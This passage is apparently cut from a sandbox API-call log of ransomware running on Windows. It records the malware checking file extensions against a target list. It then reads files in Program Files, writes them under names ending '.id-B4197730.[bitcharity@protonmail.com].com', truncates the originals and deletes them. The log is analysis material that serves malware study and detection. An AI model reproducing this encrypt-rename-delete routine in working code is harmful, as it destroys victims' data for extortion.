Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0296.517] lstrlenW (lpString=".zip") returned 4 [0296.517] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0296.517] lstrlenW (lpString=".rar") returned 4 [0296.517] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0296.517] lstrlenW (lpString=".bz2") returned 4 [0296.517] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0296.517] lstrlenW (lpString=".7z") returned 3 [0296.517] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0296.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0296.517] lstrlenW (lpString=".dbf") returned 4 [0296.517] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0296.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0296.517] lstrlenW (lpString=".1cd") returned 4 [0296.517] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0296.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0296.517] lstrlenW (lpString=".jpg") returned 4 [0296.517] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0296.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0296.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0296.517] lstrlenW (lpString=".doc") returned 4 [0296.517] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0296.517] lstrlenW (lpString=".docx") returned 5 [0296.517] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0296.517] lstrlenW (lpString=".pdf") returned 4 [0296.517] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0296.517] lstrlenW (lpString=".xls") returned 4 [0296.517] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0296.517] lstrlenW (lpString=".xlsx") returned 5 [0296.517] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0296.518] lstrlenW (lpString=".ppt") returned 4 [0296.518] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0296.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0296.518] lstrlenW (lpString=".zip") returned 4 [0296.518] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0296.518] lstrlenW (lpString=".rar") returned 4 [0296.518] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0296.518] lstrlenW (lpString=".bz2") returned 4 [0296.518] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0296.518] lstrlenW (lpString=".7z") returned 3 [0296.518] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0296.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0296.518] lstrlenW (lpString=".dbf") returned 4 [0296.518] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0296.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0296.518] lstrlenW (lpString=".1cd") returned 4 [0296.518] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0296.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0296.518] lstrlenW (lpString=".jpg") returned 4 [0296.518] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0296.518] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0296.518] lstrlenW (lpString="sqmapi.dll") returned 10 [0296.518] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0296.520] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=49688) returned 1 [0296.520] CloseHandle (hObject=0x1098) returned 1 [0296.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll")) returned 0x20 [0296.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\sqmapi.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.520] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0296.521] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0296.521] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0296.521] lstrlenW (lpString=".doc") returned 4 [0296.521] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.521] lstrlenW (lpString=".docx") returned 5 [0296.521] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0296.521] lstrlenW (lpString=".pdf") returned 4 [0296.521] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.521] lstrlenW (lpString=".xls") returned 4 [0296.521] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.521] lstrlenW (lpString=".xlsx") returned 5 [0296.521] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0296.521] lstrlenW (lpString=".ppt") returned 4 [0296.521] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.521] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0296.521] lstrlenW (lpString=".zip") returned 4 [0296.521] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.521] lstrlenW (lpString=".rar") returned 4 [0296.521] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.521] lstrlenW (lpString=".bz2") returned 4 [0296.521] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.521] lstrlenW (lpString=".7z") returned 3 [0296.521] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.521] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0296.521] lstrlenW (lpString=".dbf") returned 4 [0296.521] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.521] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0296.521] lstrlenW (lpString=".1cd") returned 4 [0296.521] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.521] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0296.521] lstrlenW (lpString=".jpg") returned 4 [0296.521] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.521] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0296.521] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0296.521] lstrlenW (lpString=".doc") returned 4 [0296.522] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.522] lstrlenW (lpString=".docx") returned 5 [0296.522] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0296.522] lstrlenW (lpString=".pdf") returned 4 [0296.522] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.522] lstrlenW (lpString=".xls") returned 4 [0296.522] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.522] lstrlenW (lpString=".xlsx") returned 5 [0296.522] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0296.522] lstrlenW (lpString=".ppt") returned 4 [0296.522] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.522] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0296.522] lstrlenW (lpString=".zip") returned 4 [0296.522] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.522] lstrlenW (lpString=".rar") returned 4 [0296.522] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.522] lstrlenW (lpString=".bz2") returned 4 [0296.522] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.522] lstrlenW (lpString=".7z") returned 3 [0296.522] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.522] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0296.522] lstrlenW (lpString=".dbf") returned 4 [0296.522] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.522] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0296.522] lstrlenW (lpString=".1cd") returned 4 [0296.522] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.522] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\sqmapi.dll") returned 45 [0296.522] lstrlenW (lpString=".jpg") returned 4 [0296.522] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.522] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0296.522] lstrlenW (lpString="awt.dll") returned 7 [0296.522] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0296.523] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=1516608) returned 1 [0296.523] CloseHandle (hObject=0x1098) returned 1 [0296.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 0x20 [0296.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.523] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0296.523] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.523] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.523] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0296.523] GetLastError () returned 0x0 [0296.523] ReadFile (in: hFile=0x1098, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0297.540] WriteFile (in: hFile=0x10c4, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0297.781] ReadFile (in: hFile=0x1098, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x72450, lpOverlapped=0x0) returned 1 [0297.794] WriteFile (in: hFile=0x10c4, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x72460, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x72460, lpOverlapped=0x0) returned 1 [0298.120] ReadFile (in: hFile=0x1098, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.121] WriteFile (in: hFile=0x10c4, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xe2, lpOverlapped=0x0) returned 1 [0298.121] SetEndOfFile (hFile=0x10c4) returned 1 [0298.121] CloseHandle (hObject=0x10c4) returned 1 [0298.121] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.121] SetEndOfFile (hFile=0x1098) returned 1 [0298.128] CloseHandle (hObject=0x1098) returned 1 [0298.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0298.128] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 1 [0298.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0298.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0298.128] lstrlenW (lpString=".doc") returned 4 [0298.128] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.128] lstrlenW (lpString=".docx") returned 5 [0298.128] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0298.128] lstrlenW (lpString=".pdf") returned 4 [0298.128] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.128] lstrlenW (lpString=".xls") returned 4 [0298.128] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.128] lstrlenW (lpString=".xlsx") returned 5 [0298.128] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0298.128] lstrlenW (lpString=".ppt") returned 4 [0298.128] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0298.129] lstrlenW (lpString=".zip") returned 4 [0298.129] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.129] lstrlenW (lpString=".rar") returned 4 [0298.129] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.129] lstrlenW (lpString=".bz2") returned 4 [0298.129] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.129] lstrlenW (lpString=".7z") returned 3 [0298.129] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0298.129] lstrlenW (lpString=".dbf") returned 4 [0298.129] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0298.129] lstrlenW (lpString=".1cd") returned 4 [0298.129] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0298.129] lstrlenW (lpString=".jpg") returned 4 [0298.129] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0298.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0298.129] lstrlenW (lpString=".doc") returned 4 [0298.129] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.129] lstrlenW (lpString=".docx") returned 5 [0298.129] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0298.129] lstrlenW (lpString=".pdf") returned 4 [0298.129] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.129] lstrlenW (lpString=".xls") returned 4 [0298.129] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.129] lstrlenW (lpString=".xlsx") returned 5 [0298.129] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0298.129] lstrlenW (lpString=".ppt") returned 4 [0298.129] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0298.130] lstrlenW (lpString=".zip") returned 4 [0298.130] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.130] lstrlenW (lpString=".rar") returned 4 [0298.130] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.130] lstrlenW (lpString=".bz2") returned 4 [0298.130] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.130] lstrlenW (lpString=".7z") returned 3 [0298.130] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0298.130] lstrlenW (lpString=".dbf") returned 4 [0298.130] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0298.130] lstrlenW (lpString=".1cd") returned 4 [0298.130] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll") returned 46 [0298.130] lstrlenW (lpString=".jpg") returned 4 [0298.130] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.130] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0298.130] lstrlenW (lpString="hprof.dll") returned 9 [0298.130] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0298.131] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=158272) returned 1 [0298.131] CloseHandle (hObject=0x1098) returned 1 [0298.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll")) returned 0x20 [0298.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.131] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0298.131] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.131] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.131] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0298.131] GetLastError () returned 0x0 [0298.131] ReadFile (in: hFile=0x1098, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x26a40, lpOverlapped=0x0) returned 1 [0298.308] WriteFile (in: hFile=0x10c4, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x26a50, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x26a50, lpOverlapped=0x0) returned 1 [0298.310] ReadFile (in: hFile=0x1098, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.310] WriteFile (in: hFile=0x10c4, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xe6, lpOverlapped=0x0) returned 1 [0298.310] SetEndOfFile (hFile=0x10c4) returned 1 [0298.311] CloseHandle (hObject=0x10c4) returned 1 [0298.311] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.311] SetEndOfFile (hFile=0x1098) returned 1 [0298.315] CloseHandle (hObject=0x1098) returned 1 [0298.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0298.315] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll")) returned 1 [0298.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0298.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0298.316] lstrlenW (lpString=".doc") returned 4 [0298.316] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.316] lstrlenW (lpString=".docx") returned 5 [0298.316] lstrcmpiW (lpString1=".docx", lpString2="f.dll") returned -1 [0298.316] lstrlenW (lpString=".pdf") returned 4 [0298.316] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.316] lstrlenW (lpString=".xls") returned 4 [0298.316] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.316] lstrlenW (lpString=".xlsx") returned 5 [0298.316] lstrcmpiW (lpString1=".xlsx", lpString2="f.dll") returned -1 [0298.316] lstrlenW (lpString=".ppt") returned 4 [0298.316] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0298.316] lstrlenW (lpString=".zip") returned 4 [0298.316] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.316] lstrlenW (lpString=".rar") returned 4 [0298.316] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.316] lstrlenW (lpString=".bz2") returned 4 [0298.316] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.316] lstrlenW (lpString=".7z") returned 3 [0298.316] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0298.316] lstrlenW (lpString=".dbf") returned 4 [0298.316] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0298.316] lstrlenW (lpString=".1cd") returned 4 [0298.317] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0298.317] lstrlenW (lpString=".jpg") returned 4 [0298.317] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0298.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0298.317] lstrlenW (lpString=".doc") returned 4 [0298.317] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.317] lstrlenW (lpString=".docx") returned 5 [0298.317] lstrcmpiW (lpString1=".docx", lpString2="f.dll") returned -1 [0298.317] lstrlenW (lpString=".pdf") returned 4 [0298.317] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.317] lstrlenW (lpString=".xls") returned 4 [0298.317] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.317] lstrlenW (lpString=".xlsx") returned 5 [0298.317] lstrcmpiW (lpString1=".xlsx", lpString2="f.dll") returned -1 [0298.317] lstrlenW (lpString=".ppt") returned 4 [0298.317] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0298.317] lstrlenW (lpString=".zip") returned 4 [0298.317] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.317] lstrlenW (lpString=".rar") returned 4 [0298.317] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.317] lstrlenW (lpString=".bz2") returned 4 [0298.317] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.317] lstrlenW (lpString=".7z") returned 3 [0298.317] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0298.317] lstrlenW (lpString=".dbf") returned 4 [0298.317] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0298.317] lstrlenW (lpString=".1cd") returned 4 [0298.317] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0298.317] lstrlenW (lpString=".jpg") returned 4 [0298.317] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.318] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0298.318] lstrlenW (lpString="j2pcsc.dll") returned 10 [0298.318] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0298.318] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=19008) returned 1 [0298.318] CloseHandle (hObject=0x1098) returned 1 [0298.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll")) returned 0x20 [0298.318] GetFileAttributesW (lpFileName="C:\\Program 